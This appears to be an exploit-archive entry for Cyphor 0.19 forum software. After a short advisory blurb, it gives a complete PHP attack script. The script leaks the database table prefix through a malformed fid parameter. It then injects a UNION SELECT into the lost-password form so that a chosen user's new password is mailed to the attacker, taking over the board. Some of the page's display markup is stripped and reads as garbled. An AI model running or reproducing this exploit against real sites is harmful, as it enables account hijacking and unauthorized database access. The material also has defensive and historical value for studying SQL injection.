Cyphor 0.19 SQL Injection/board takeover

source: https://www.securityfocus.com/bid/15047/info Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities. Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible. Cyphor 0.19 SQL Injection/board takeover

Cyphor 0.19 (possibly prior versions) SQL injection / board takeover

a script by rgod at http://rgod.altervista.org

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host).'...'; die; }} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } define('EMAIL_PREG', '#^[a-z0-9&\-_.\+]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+$#'); define('USER_PREG', '#^[A-Za-z0-9_\-]+$#'); if (($path<>'') and ($host<>'') and ($your_email<>'') and ($username<>'')) { if (!preg_match(EMAIL_PREG, $your_email)) {echo '
Need a valid email...'; die;} if (!preg_match(USER_PREG, $username)) {echo '
Need a valid username...'; die;} if ($port=='') {$port=80;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} #STEP 1 -> retrieve the table prefix... $packet="GET ".$p."show.php?fid=' HTTP/1.0 \r\n"; $packet.="User-Agent: GetRight/4.5xx\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); $temp=explode("SELECT * FROM ",$html); $temp2=explode("forums WHERE",$temp[1]); $table_prefix=trim($temp2[0]); echo '
Table prefix ->'.htmlentities($table_prefix); if ($table_prefix=='') {echo 'Exploit failed...'; die;} #STEP 2 -> send yourself a new password... $sql="') UNION SELECT * FROM ".$table_prefix."users WHERE nick='".$username."'/*"; $sql=urlencode($sql); $data="email=".urlencode($your_email)."&nick=".$sql."&submit=Submit"; $packet="POST ".$p."lostpwd.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."lostpwd.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Internet Ninja x.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacket($packet); if (eregi("New password sent.",$html)) {echo '
Exploit successful...check your email box...';} else {echo '
Exploit failed...';} } else { echo 'Fill in requested fields, optionally specify a proxy...'; } ?>